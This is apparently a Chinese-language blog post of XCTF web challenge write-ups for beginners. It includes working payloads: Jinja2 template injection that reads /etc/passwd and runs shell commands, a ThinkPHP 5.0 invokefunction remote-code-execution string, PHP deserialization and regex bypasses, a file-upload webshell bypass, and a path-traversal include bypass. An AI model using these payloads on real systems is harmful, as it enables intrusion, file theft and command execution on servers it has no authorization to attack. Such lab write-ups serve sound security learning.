好久没有更新这个XCTF的题目了,现在过来更新一下。争取今年能够入门CTF的WEB方向。
从题目就能看到提示,应该是和
Robots.txt
文件相关的。直接在URL
后面输入/robots.txt
。
可以看到提升我们网站中有
fl0g.php
这个文件。我们直接访问就能得到flag。
题目描述想想初始页面是哪个,再结合点击的链接为
http://111.198.29.45:32344
,但最终显示给我们的页面为http://111.198.29.45:32344/1.php
。就能猜到中间发生了跳转。打开F12控制台
查看详情。就能发现flag。
题目看不出来什么,直接打开网页。发现是一个查询黑客新闻的简易网站,并且最显眼的位置给了一个搜索框。那当然就试一下
XSS注入
和SQL注入
了。先尝试的XSS
发现所有网站对所有输入的内容都会进行转义。然后就直接用sqlmap
来进行SQL注入,就能看到flag。
题目没有网站链接,反而是一个附件。只能下载下来,发现是一个
100
的文件,也没有后缀。考虑是用编辑器打开能看到是一段JavaScript
代码,但里面有很多编译后的东西。大概就是设定了一个叫_
的函数,然后最后用eval(_)
来执行这个函数。我们可以直接将eval(_)
改为alert(_)
。这样就能打印出来这段编码后的函数。
function $(){
var e=document.getElementById("c").value;
if(e.length==16)
if(e.match(/^be0f23/)!=null)
if(e.match(/233ac/)!=null)
if(e.match(/e98aa$/)!=null)
if(e.match(/c7be9/)!=null){
var t=["fl","s_a","i","e}"];
var n=["a","_h0l","n"];
var r=["g{","e","_0"];
var i=["it'","_","n"];
var s=[t,n,r,i];
for(var o=0;o<13;++o){
document.write(s[o%4][0]);
s[o%4].splice(0,1)
}
}
}
document.write('');
delete _
大概解读一下这段函数的内容从一个
name
叫输入框中得到里面的值,然后用这个值来做5个判断,然后用一段代码来输出flag。这种题目可以有两种方法来得到flag,一是想办法去令我们输入的值符合要求触发代码,二是直接复制代码执行。
第一种方法,先看判断5个判断条件:
(1)长度为16
(2)字符串开头要为be0f23
(3)字符串中要包含233ac
(4)字符串结尾要为e98aa
(5)字符串中要包含c7be9
拼接一下得到字符串be0f233ac7be98aa
,刚刚好长度为16。将之前的页面恢复,然后输入字符串就能得到flag。
第二种方法,直接将中间那段产生flag的代码复制到
chrom的F12控制台
中,就能得到flag。
从题目可以看出来,应该是一个反序列的题目。
能看到给了一个类
class
,上面的wakeup
函数会在反序列化的时候直接退出。这个题目考我们的其实就是在code输入这个类的序列化字符串,并通过修改序列化字符串中成员个数来绕开wakeup
函数。
class xctf{
public $flag = '111';
public function __wakeup(){
exit('bad requests');
}
}
$xctf = new xctf();
$var = serialize($xctf);
echo $var;
echo '
';
能得到这个类的序列化字符串为:O:4:"xctf":1:{s:4:"flag";s:3:"111";}
通过增加成员数量来绕过wakeup函数,将1修改为2。
O:4:"xctf":2:{s:4:"flag";s:3:"111";}
看题目应该是一个有关文件上传绕过的题目,打开网页查看源代码,发现在前端有个文件后缀名的校验。
function check(){
upfile = document.getElementById("upfile");
submit = document.getElementById("submit");
name = upfile.value;
ext = name.replace(/^.+\./,'');
if(['jpg','png'].contains(ext)){
submit.disabled = false;
}else{
submit.disabled = true;
alert('请选择一张图片文件上传!');
}
能看到没有进行强制的校验,只是校验发现后缀名不是白名单时将上传按钮置灰,我们还是可以通过控制台来修改节点属性来进行上传。上传一句话木马后,使用菜刀连接就能得到flag。
看题目的应该是一个有关python的模板注入。首先输入
/test?{{config}}
来测试有没有模板注入的漏洞。
可以看到该网站确实存在模板注入的漏洞。接下来就一步一步准备我们的注入命令。
{{ [].__class__}} 得到列表的类
{{ [].__class__.__bases__}} 得到基类
{{ [].__class__.__base__.__subclasses__()}} 得到基类下的所有子类
{{ [].__class__.__base__.__subclasses__()[40]}} 其中第40个是用于文件读取的
{{ [].__class__.__base__.__subclasses__()[40]('/etc/passwd').read() }} 这个命令来读passwd文件
{{ [].__class__.__base__.__subclasses__()[71]}} 这个类来读取命令
{{ [].__class__.__base__.__subclasses__()[71].__init__.__globals__["os"]["popen"]("whoami").read()}} 通过这个命令来执行命令(whoami为输入的命令,结果为root)
{{ [].__class__.__base__.__subclasses__()[71].__init__.__globals__["os"]["popen"]("ls").read()}} 查看当前的目录,发现一个叫fl4g的文件
{{ [].__class__.__base__.__subclasses__()[71].__init__.__globals__["os"]["popen"]("cat fl4g").read()}} 查看这个文件就能得到flag
从题目的名称来看,应该是一题有关PHP反序列化的题目。具体的代码如下:
class Demo {
private $file = 'index.php';
public function __construct($file) {
$this->file = $file;
}
function __destruct() {
echo @highlight_file($this->file, true);
}
function __wakeup() {
if ($this->file != 'index.php') {
//the secret is in the fl4g.php
$this->file = 'index.php';
}
}
}
if (isset($_GET['var'])) {
$var = base64_decode($_GET['var']);
if (preg_match('/[oc]:\d+:/i', $var)) {
die('stop hacking!');
} else {
@unserialize($var);
}
} else {
highlight_file("index.php");
}
?>
解读一下上面代码的内容,首先会从超全局变量中去变量
var
的值,然后会对值做一场base64的解密。接着会对这个值做正则的匹配,如果匹配上的话就会退出并显示stop hacking!
。所以我们需要做的是绕开这个正则匹配/[oc]:\d+:/i
。可以看到类中有提示flag就藏在fl4g.php
中,但是在wakeup方法中会去将$file
值强制转换成index.php
。当所有都绕过的时候,就能在页面中显示fl4g
的内容。
现在明确要做的事情:
1、绕过正则匹配/[oc]:\d+:/i
,可以将OC:4
变为OC:+4
来进行绕过。
2、绕过wakeup函数,可以增加序列化后成员的变量来绕过。
3、对序列化的值进行base64的加密。
所以根据上述要求写一个脚本。
class Demo {
private $file = 'index.php';
public function __construct($file) {
$this->file = $file;
}
function __destruct() {
echo @highlight_file($this->file, true);
}
function __wakeup() {
if ($this->file != 'index.php') {
//the secret is in the fl4g.php
$this->file = 'index.php';
}
}
}
$file = 'fl4g.php';
$demo = new Demo($file);
$res = serialize($demo);echo $res;echo '
'; //序列化类
//O:4:"Demo":1:{s:10:"Demofile";s:8:"fl4g.php";}
$res = str_replace(':4', ':+4', $res);echo $res;echo '
'; //绕过正则
//O:+4:"Demo":1:{s:10:"Demofile";s:8:"fl4g.php";}
$res = str_replace(':1:', ':2:', $res);echo $res;echo '
'; //绕过wakeup
//O:+4:"Demo":2:{s:10:"Demofile";s:8:"fl4g.php";}
$res = base64_encode($res);echo $res;echo '
'; //base64编码
//TzorNDoiRGVtbyI6Mjp7czoyMDoiAERlbW8AZmlsZSI7czo4OiJmbDRnLnBocCI7fQ==
看题目应该是一个PHP远程命令执行的题目,打开页面发现是一个ThinkPHP V5.0的后台。直接上网找相关的paylodad。
?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=ls//ls就是输入的命令
?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=find / -name '*flag'//查找相关的文件,发现结果/flag /flag
?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=cat /flag//读取文件中的内容,就能看到flag
题目如下
show_source(__FILE__);
echo $_GET['hello'];
$page=$_GET['page'];
while (strstr($page, "php://")) {
$page=str_replace("php://", "", $page);
}
include($page);
?>
分析一下上面代码的内容,是一个有关文件读取的题目。需要我们输入两个参数,一个是
hello
,另外一个是page
。但好像helllo
这个参数没什么太大的左右,只是会打印出来而已。另外一个page
参数则是比较关键的,但他又专门写了一个 while循环来过滤php"//
协议所以不能使用双写绕过,但是可以使用大小写的方式绕过。
发现可以通过双写来绕过,解析来就开始尝试。
phpinfo(); ?> //尝试有没有漏洞
system('ls'); ?> //结果发现有fl4gisisish3r3.php文件
system('cat fl4gisisish3r3.php'); ?> //读取到flag
打开页面发现从右边菜单栏点击,只有报表中心是能跳转连接的,而且跳转后显示了一个选则查询日期的列表,和下面写着送分题。再看一下URL
http://111.198.29.45:59204/index.php?id=1
感觉像是一个SQL注入的题目。但是用sqlmap去跑又没有发现什么问题。于是id=1
就尝试爆破一下这个id看一下会不会有什么发现。
果然再爆破id到2333时就发现了flag。
打开网页就是一张滑稽的图片,右键查看源代码发现有提示
source.php
,访问后能看到真正的题目。
highlight_file(__FILE__);
class emmm{
public static function checkFile(&$page){
$whitelist = ["source"=>"source.php","hint"=>"hint.php"];
if (! isset($page) || !is_string($page)) {
echo "you can't see it";
return false;
}
if (in_array($page, $whitelist)) {
return true;
}
$_page = mb_substr($page,0,mb_strpos($page.'?', '?'));
if (in_array($_page, $whitelist)) {
return true;
}
$_page = urldecode($page);
$_page = mb_substr($_page,0,mb_strpos($_page . '?', '?'));
if (in_array($_page, $whitelist)) {
return true;
}
echo "you can't see it";
return false;
}
}
if (! empty($_REQUEST['file'])&& is_string($_REQUEST['file'])&& emmm::checkFile($_REQUEST['file'])) {
include $_REQUEST['file'];
exit;
} else {
echo "
";
}
分析一下上面的代码,首先会从请求参数file中拿到对应的值,做三个判断,满足三个判断才能包含对应的文件。三个条件分别是:
1、不能为空
2、必须是字符串类型
3、通过checkFile()函数
其实前面两个都是很简单的判断,主要是通过最后一个函数的判断。解读一下判断函数:
>>函数是一个类似白名单一样的过滤函数,先确立了source.php和hint.php这两个白名单。
>>只有满足这两个白名单才行。
>>其中这样的判断有三次只要其中有任何一次判断通过了都算通过。
1、先输入
http://111.198.29.45:41907/source.php?file=source.php
,发现页面出现了两次同样的代码,证明成功读取了source.php的内容,但是里面没有falg。
2、再输入http://111.198.29.45:41907/source.php?file=hint.php
,发现提示flag not here, and flag in ffffllllaaaagggg
,flag不在这个文件中,在ffffllllaaagggg文件中。但前面我们也说过了之前就设置了白名单,所以这题很明显就是一个绕过白名单的题目。我们再仔细看一下checkFile()函数中的三次判断,因为之前也说了只要通过一次即可。
public static function checkFile(&$page){ //$page就是我们输入的参数
$whitelist = ["source"=>"source.php","hint"=>"hint.php"]; //设置白名单
if (! isset($page) || !is_string($page)) {
echo "you can't see it";
return false;
} //判断我们有没有输入这个参数,输入的是不是字符串类型
if (in_array($page, $whitelist)) {
return true;
} //第一次白名单判断,这里因为没进行过任何操作,所以是无法绕过的
$_page = mb_substr($page,0,mb_strpos($page.'?', '?')); //这里最开始是在字符串最后拼上一个?号,然后截取开头到第一个?的字符串。
if (in_array($_page, $whitelist)) {
return true;
}
//其实可以直接利用第二个判断就能绕过
//?file=hint.php?/../../../../ffffllllaaaagggg通过../来跳出目录。
$_page = urldecode($page); //进行一次URL的解码
$_page = mb_substr($_page,0,mb_strpos($_page . '?', '?'));
if (in_array($_page, $whitelist)) {
return true;
}
//第三个判断也可以绕过,但是要注意他有一次URL编码,所以我们需要编码两次特殊字符。
echo "you can't see it";
return false;
}
拖拖拉拉总算完成了WEB进阶篇第一阶段的题目了,WEB进阶还有很多题目。而且前面的题目都是相对比较简单的,继续好好学习后面的内容!